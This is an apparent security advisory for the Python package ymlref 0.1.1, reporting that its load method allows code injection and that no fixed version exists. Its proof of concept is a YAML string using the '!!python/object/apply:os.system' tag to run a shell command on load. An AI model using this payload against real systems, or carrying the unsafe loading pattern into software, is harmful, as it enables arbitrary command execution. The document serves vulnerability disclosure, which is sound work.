ymlref@0.1.1 vulnerabilities

ymlref: load Yaml documents with possibility to resolve references.

Direct Vulnerabilities

Known vulnerabilities in the ymlref package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • C
Code Injection

ymlref is a package that allows you to load Yaml documents with the possibility to resolve references.

Affected versions of this package are vulnerable to Code Injection. ymlref allows code injection via the load method.

PoC

import ymlref.api

test_str ='!!python/object/apply:os.system ["dir"]'
ymlref.api.load(test_str,)

How to fix Code Injection?

There is no fixed version for ymlref.

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